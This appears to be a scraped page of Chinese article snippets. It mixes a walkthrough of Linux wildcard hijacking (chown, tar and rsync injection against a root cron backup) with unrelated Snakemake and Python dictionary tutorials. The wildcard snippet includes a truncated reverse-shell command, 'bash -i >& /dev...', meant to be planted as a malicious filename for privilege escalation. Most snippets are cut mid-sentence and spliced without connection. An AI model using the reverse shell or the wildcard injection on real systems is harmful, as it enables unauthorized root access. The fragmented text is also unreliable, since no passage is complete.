基础知识 在shell终端中,我们经常用通配符来偷懒,来匹配我们想要的内容,无论是文件还是目录,都适用。 认识部分通配符: * 匹配任意多个字符 ?...通配符劫持的第一次利用-chown命令扩展(chown劫持) 如果你对Linux/Unix系统稍微了解过,就知道,在系统下,一切皆文件,而文件也会属于某个用户,某个组,也会相应的文件操作的权限,可读可写可执行...通配符劫持的第二次利用-tar命令的扩展(tar劫持) tar命令是我们在linux系统中常用的一条命令,无论是解压文件还是压缩文件,都很nice!.../html/* //这里设置每一分钟对网站进行一次备份 因为这里直接用了*通配符来匹配网站根目录下的所有文件,所有我们可以加以利用 我们在根目录下输入以下命令: echo "bash -i >& /dev...,一般计划任务都是root权限 通配符劫持的第三次利用-rsync命令的扩展(rsync劫持) rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。
在shell终端中,我们经常用通配符来偷懒,来匹配我们想要的内容,无论是文件还是目录,都适用。 认识部分通配符: * 匹配任意多个字符 ?...通配符劫持的第一次利用-chown命令扩展(chown劫持) 如果你对Linux/Unix系统稍微了解过,就知道,在系统下,一切皆文件,而文件也会属于某个用户,某个组,也会相应的文件操作的权限,可读可写可执行...通配符劫持的第二次利用-tar命令的扩展(tar劫持) tar命令是我们在linux系统中常用的一条命令,无论是解压文件还是压缩文件,都很nice!.../html/* //这里设置每一分钟对网站进行一次备份 因为这里直接用了*通配符来匹配网站根目录下的所有文件,所有我们可以加以利用 我们在根目录下输入以下命令: echo "bash -i >& /dev...通配符劫持的第三次利用-rsync命令的扩展(rsync劫持) rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。
1-pandas 类似于R 中的data.frame,python 中的pandas 也提供了一套处理数据框的操作。而同样是基于python 框架的snakemake,可以帮助我们很好的将二者融合。....fastq.gz' 2-制定snakemake规则 通过python 数据框的选择,我们可以通过指定索引列来对如文件的地址进行选择。...可是我们该如何将其整合进pipeline 的规则当中呢? snakemake 实际上会使用wildcards对象,也就是通配符,我们符号中设置的通配符内容都会以该对象的属性传入命令行段落。...-np results/awesome/s00{1..2}_R{1,2}.fq 可以看到,现在snakemake 就通过s001 找到其在csv 文件中,对应的fq1 文件的位置了: [Fri May...这种做法有两点好处: 当输入或输出文件较多时,通过命名,我们可以将它们进行分类; 便于使用unpack() 函数,这个函数允许我们设计用于命名规则的函数; 4-使用字典和变量传递 上面的步骤提示我们,snakemake
Python的字典属于一种数据类型,我们可以把数据存到字典里面,字典使用大括号“{}”来定义。...Python中唯一的映射类型(哈希表),其对象是可变的,但是字典的键必须使用不可变对象,一个字典中可以使用不同类型的键值,方法可以有: keys() values() items(); 首先我们可以创建一个空字典...因为遵循哈希表 存入字典的数据类型应该用只读的,应保持哈希的结果不变: In [15]: dict1={'a':1, 1:123, ('qq','wx'):'hello'} In [16]: dict1...Out[16]: {1: 123, 'a': 1, ('qq', 'wx'): 'hello'} 查看字典的长度,可以看到我们刚刚定义的字典有3个元素: In [17]: len(dict1) Out.../usr/local/python3/bin/python info={} name=input("Please input a number : ") age=input("Please input
无奈发现了基于python 框架的snakemake,如释重负,立马学一下。...snakemake 的工作流可以简单概括为:1)首先定义一些规则;2)设置需要的输出类型,snakemake 将会判断需要何种软件或流程以获得对应的输出类型。...rule trim_awesome_001: ..... rule trim_awesome_002: ..... 4-学会使用通配符 有为伟大的人说过,“正则是我的光;通配符是我的太阳...虽然我们知道通配符代表了我们将要输入输出文件的命名范式,但snakemake 并不知道对应哪些文件。...因为此时,snakemake 成功地将我们指定的文件对应到了规则中的通配符位置。
Date : [[2022-05-29_Sun]] Tags : #工作流/snakemake 参考: Snakemake Tutorial[1] 前言 继续介绍一些snakemake的进阶操作。...执行的时候,我们需要制定--cores 参数,设置snakemake 全部任务执行时,不超过的最大线程数。...比如当bwa 规则调用了8个线程,snakemake 则会将剩下的线程分配给其他数据执行bwa 以外的线程消耗数目较少的任务。...2-配置文件 我们可以在snakemake中,将使用的通配符或文件信息,写到config 文件中,并通过config访问: samples: A: data/samples/A.fastq...,比如当我们传入A 时,即传给了通配符对应的{sample},并可以获得对应的值data/samples/A.fastq。
python 字典操作提取key,value dictionaryName[key] = value 欢迎加入Python快速进阶QQ群:867300100 1.为字典增加一项 2.访问字典中的值...3、删除字典中的一项 4、遍历字典 5、字典遍历的key\value 6、字典的标准操作符 7、判断一个键是否在字典中 8、python中其他的一些字典方法...这个方法耗费性能,而且对于python3,这个无法成功执行,因为items()返回是个对象。...(), dict_ori.keys())) print(dict_new2) {1: ‘A’, 2: ‘B’, 3: ‘C’} **10、字典多键值及重复键值的使用方法(详解) ** 方案一 #encoding...=utf-8 print ('中国') #字典的一键多值 print('方案一 list作为dict的值 值允许重复' ) d1={} key=1 value=2 d1.setdefault(key
本期内容主要以整理Snakemake的简单介绍[1]视频为主。 1啥是Snakemake Snakemake 是一个基于Python3的用于构建和管理数据分析工作流程的免费工具。...当你整理好流程以后,只需简单替换几个参数,就能快速开始分析一个新的数据。 Snakemake 的另一个强大特性是它的并行处理能力。...简单来说,它有以下优点: 可读性强 易移植 模块化管理 透明 能生成流程图,看到每个过程 可扩展 可拓展的平台 2如何使用 在 Snakemake 中,可以使用类似于 Python 的语法来描述任务和规则...大括号为通配符,可以为任意字符串。 当我们运行snakemake ds1_plot.pdf时,它会从规则的output中找到能与ds1_plot.pdf匹配的。...如果我们修改了数据,程序会识别文件的修改时间判定其为一个新文件,进而重新运行命令。 3Snakemake 参数 Snakemake的参数非常多,常用的有以下几个: -p:打印运行的shell命令。
Snakemake的设计灵感来自于Makefile,但它是专门为生物信息学和数据密集型科学工作流设计的,使用Python语言进行工作流的定义,这使得它在生物信息学社区中特别受欢迎。...Snakemake的主要优势包括: 易于使用和学习:Snakemake使用简单的、基于Python的语法来定义工作流,这使得它对于具有Python基础的科学家来说非常容易上手。...集成性:Snakemake可以轻松地与其他生物信息学工具和语言集成,如R和Python,使得复杂分析的步骤更加灵活。...它允许用户通过简单的Python语法定义分析步骤,管理数据和代码的依赖性。Snakemake支持灵活的规则定义,可以轻松地适应各种计算环境,包括单机、集群和云。...这是由于 Python 会连接后续字符串,如果没有逗号分割,可能会导致意外行为 2、如果一个规则有多个输出文件,Snakemake 会要求它们全部输出 ,在使用通配符的时候应避免出现完全相同的通配,否则
字典是由多个键 (key) 及其对应的值 (value) 所组成的一种数据类型字典在 Python 里面是非常重要的数据类型,而且很常用字典是以关键字(键)为索引,关键字(键)可以是任意不可变类型字典由键和对应值成对组成...,字典中所有的键值对放在 { } 中间,每一对键值之间用逗号分开⭐️ 字典的结构与创建方法在 Python 中,dict 代表着字典这一类型,也可以用它定义一个元祖在 Python 中,通过 {} 将一个个...value 支持所以 Python 的数据类型person = {'name': 'neo', 'birthday': '2000-01-01', 'age': 18, 'height': 1.75}print...需要特别注意的是 Python3.7之前的版本字典是无序的,之后版本变为有序。同时,字典最重要的一个特性,字典中的每一个key一定是唯一的。...2 个键值对的字典;在第 2 行,修改键 'a' 对应的值为 'AA';在第 3 行,修改键 'b' 对应的值为 'BB';在第 4 行,显示修改后的字典。
字典的删除 clear函数 功能 清空当前字典中所有数据 用法 dict.clear() -> 无参数,无返回值 pop函数的功能与用法 功能 删除字典中指定的key,并将其结果返回,如果key不存在则报错...用法 dict.pop(key) – key 希望被删掉的键 >>返回这个key对应的值(value) del 在字典中的用法 my_dict = {'name': 'dewei', 'age...del my_dict['name'] print(my_dict) >> {'age': 33} del my_dict print(my_dict) -> 报错 , 整个字典对象已被删除...price'])) projects.pop('pc') print(projects.keys()) result = projects.pop('mac') print('一个程序员购买了{},它的价格是
前言 作为一名测试工程师,掌握Python字典的高级用法可以显著提高代码的灵活性和效率。...本文将深入探讨Python字典的高级用法,主要包括嵌套字典和字典推导式,帮助你在实际工作中更加高效地处理复杂数据结构。 嵌套字典 嵌套字典是指字典中的值本身也是一个字典。...可以像操作普通字典一样,添加或删除嵌套字典中的元素。...字典推导式是一种简洁的创建字典的方式,通过类似列表推导式的语法,可以更高效地生成字典。...in names} print(name_length_dict) # 输出:{'Alice': 5, 'Bob': 3, 'Charlie': 7} 总结 本文详细介绍了Python字典的高级用法
字典 :一个关联数组或散列表 ,可通过关键字索引的对象。...字典的用途:定义一个可包含多个命名字段的对象,也可以用作快速查找无序数据的容器 字典是python中最完善的数据类型 在程序中最常用于存储和处理数据 如何创建: 1,在{}中放入值即可创建一个空字典;...: 0 2,使用系统方法 get 判断是否是字典成员 p = prices.get('grape',0); print(p); 输出结果: 0 获取字典关键字的列表 只需要将字典转换为列表即可: pricelist...:是一个关联性数组 或者散列表 2,创建字典:1 ,{} 2,dict() 2,字典的用途:用于快速查找无序数据 常用于存储和处理数据 3,使用字典关键字索引获取数据 4,字典的插入和修改 :使用关键字索引... 添加或者修改 格式 s[name] = 'data'; 5,判断元素是否存在于字典中 :1 ,in 2,get 6, 获取字典关键字的方法: list 声明为列表 6,删除字典中的元素 :del方法
字典 字典是一种存储键值对的结构。 和生活中的字典一样,当你查一个英语的意思时:apple就对应着苹果。它们就是一个键值对,其中apple就是key,而苹果就是value。...这些键(key)和值(value)是一一对应的,我们可以根据键,快速找到值。 3.1 创建字典 创建一个空的字典,使用{}来表示字典。...直接使用for循环能够获取到字典中的所有key,进一步就可以取出每一个值了。...类型 不是所有的类型都可以作为字典的key的,字典的本质其实是哈希表,哈希表的key要求是可哈希的,也就是可以计算出一个哈希值。...可以使用hash函数计算某个对象的哈希值。 但凡能够计算出哈希值的类型,都可以作为字典的key。
现在,我也可以拍拍我的肩膀告诉自己:「加油,年轻人,未来是你的! 」 Python编程 接下来开始今天的学习,昨天分享了关于Python列表与元组的知识,今天我们来学习字典的使用。...01 代码块与笔记 字典 Dictionary 1 字典简介 字典是 Python 语言中唯一的映射类型,是无序的,具有极快的查找速度,元素以键值对形式存在 字典对象是可变的,它是一个容器类型...,能存储任意个数的 Python 对象,其中也包括其他容器类型(列表、元组) 格式:字典中的每个键值对(key=>value)用冒号 :分割,每个键值对之间用逗号 ,分割,整个字典包括在花括号 {}之...中 2 常用操作 创建字典、增删改查、长度、遍历字典等 创建字典1 # 键的特性:唯一 不可变对象 # 数字、字符串、元组等可以为键,列表不可以 # 重复时,后一个键值对会覆盖前面的...计算字典元素个数,即键的总数 print(len(dict1)) # 以列表返回字典中的所有键 print(dict1.keys()) # 以列表返回字典中的所有值 print(dict1.
字典的基本详情 字典查找速度快 字典是无序的;(python3.6以上版本有序) 字典支持乘加、成员检查、长度、最小值、最大值、嵌套; 字典值不支持列表、元组、索引、切片、元素赋值跟切片赋值; 字典通过大括号表示...; 字典的内容是项;项由键和值组成,中间用冒号隔开;项和项之间用逗号隔开;需要注意键必须是唯一的; 字典的意义是让用户能够快速的找到特定的单词(键),以获悉其定义(值); 字典通过键来进行查看值的内容...字典的值可以是字符串、数字、字典 字典的赋值 dict1 = {'key1':'value1', 'key2':'value2'} 字典的添加 dic1 = {'name': 'liangxiao',...字典的删除 dic1 = {'name': 'liangxiao', 'age': 24} dic1.pop('name') # 根据key进行键值对删除,可设置返回值,没有找到相应的...# 打印字典所有 dic1.get('name') # 查找指定的key的value,没有则返回None dic1.items() # 一组一组的查找所有内容
/usr/bin/env python #Filename:addressbook.py adbook={'alice':100,'bob':101,'chanel':102} while True:
备忘一下python中的字典如何遍历,没有什么太多技术含量.仅供作为初学者的我参考. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23.../usr/bin/env python # coding=utf-8 demoDict = {'1':'Chrome', '2':'Android'} for key in demoDict.keys...dict.iterkeys()=', demoDict.iterkeys() interitems和iterms区别 参考 http://stackoverflow.com/questions/10458437/python-what-is-the-difference-between-dict-items-and-dict-iteritems
字典的keys函数 功能 获取当前字典中所有的键(key) 用法 dict.keys() -> 无需传参,返回一个key集合的伪列表 伪列表不具备列表的所有功能 注意 使用list()函数可以将伪列表转换为列表...转换之后的列表具有无重复成员的特点 代码 # coding:utf-8 project = {'id': 1, 'project_name': 'ipad', 'price': 2200, 'count
今天碰到一个字典比较的问题,就是比较两个字典的大小,其实这个用的不多,用处也没多少,但是还是记录一下。...字典的比较顺序如下: 1、先比较字典的元素的个数,那个多,就哪个大; 2、比较字典的键,在比较字典的键的时候,需要注意的是比较的顺序是按照keys返回值来进行的比较; 3、比较字典的值,值也是按照items...返回值来进行比较,主要就是按照数字和字母的大小比较; 4、如果以上的比较都相等,那么就都是相等的。...','age':17} #比较的时候,根据keys返回的比较,所以27比17大,而不是比较我们看到的顺序 >>> cmp(dict4,dict5) 1 >>> for i in dict4: ......age name 这也就是一个字典的比较,按照顺序来比较即可。
领取专属 10元无门槛券
手把手带您无忧上云